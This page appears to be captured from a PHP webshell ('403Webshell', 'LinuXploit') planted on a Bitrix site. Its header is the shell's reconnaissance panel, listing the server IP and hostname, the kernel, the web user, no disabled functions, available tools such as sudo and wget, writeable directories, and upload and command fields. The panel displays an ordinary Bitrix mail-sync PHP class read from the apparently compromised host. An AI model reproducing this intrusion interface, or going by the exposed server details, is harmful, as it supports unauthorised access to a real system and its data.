403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/integration/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/integration/syncrequest.php
<?php

namespace Bitrix\Mail\Integration;

use Bitrix\Mail\Helper\Mailbox\MailboxSyncManager;
use Bitrix\Main\Event;
use Bitrix\Mail\Helper;
use Bitrix\Main\LoaderException;
use Bitrix\Main\Loader;
use Bitrix\Main;
use Exception;

class SyncRequest
{
	/**
	 * @throws LoaderException
	 */
	public static function onRequestSyncMail(Event $event): void
	{
		global $USER;
		if (Loader::includeModule('mail') && is_object($USER) && $USER->IsAuthorized())
		{
			$userId = $USER->GetID();
			$urgent = $event->getParameter('urgent');
			if ($urgent || (new MailboxSyncManager($userId))->isMailNeedsToBeSynced())
			{
				Main\Application::getInstance()->addBackgroundJob(function () {
					self::syncMail();
				}, []);
			}
		}
	}

	/**
	 * @throws LoaderException
	 * @throws Exception
	 */
	public static function syncMail(): array
	{
		global $USER;
		$result = [
			'lastFailedToSyncMailboxId' => 0,
			'hasSuccessSync' => false,
			'unseen' => 0,
		];

		if (Loader::includeModule('mail') && is_object($USER) && $USER->IsAuthorized())
		{
			$userId = $USER->GetID();
			$mailboxesSyncManager = new MailboxSyncManager($userId);
			$mailboxesReadyToSync = $mailboxesSyncManager->getNeedToBeSyncedMailboxes();

			if (!empty($mailboxesReadyToSync))
			{
				foreach ($mailboxesReadyToSync as $mailboxId => $lastMailCheckData)
				{
					$mailboxHelper = Helper\Mailbox::createInstance($mailboxId, false);
					if (!empty($mailboxHelper))
					{
						if ($mailboxHelper->sync() === false)
						{
							$result['lastFailedToSyncMailboxId'] = $mailboxId;
						}
						else
						{
							$result['hasSuccessSync'] = true;
						}
						if ($mailboxHelper->getMailbox()['SYNC_LOCK'] >= 0)
						{
							break;
						}
					}
				}
				$unseen = max(Helper\Message::getCountersForUserMailboxes($userId, true), 0);
				$result['unseen'] = $unseen;
				\CUserCounter::set($userId, 'mail_unseen', $unseen, SITE_ID);
			}
		}
		return $result;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit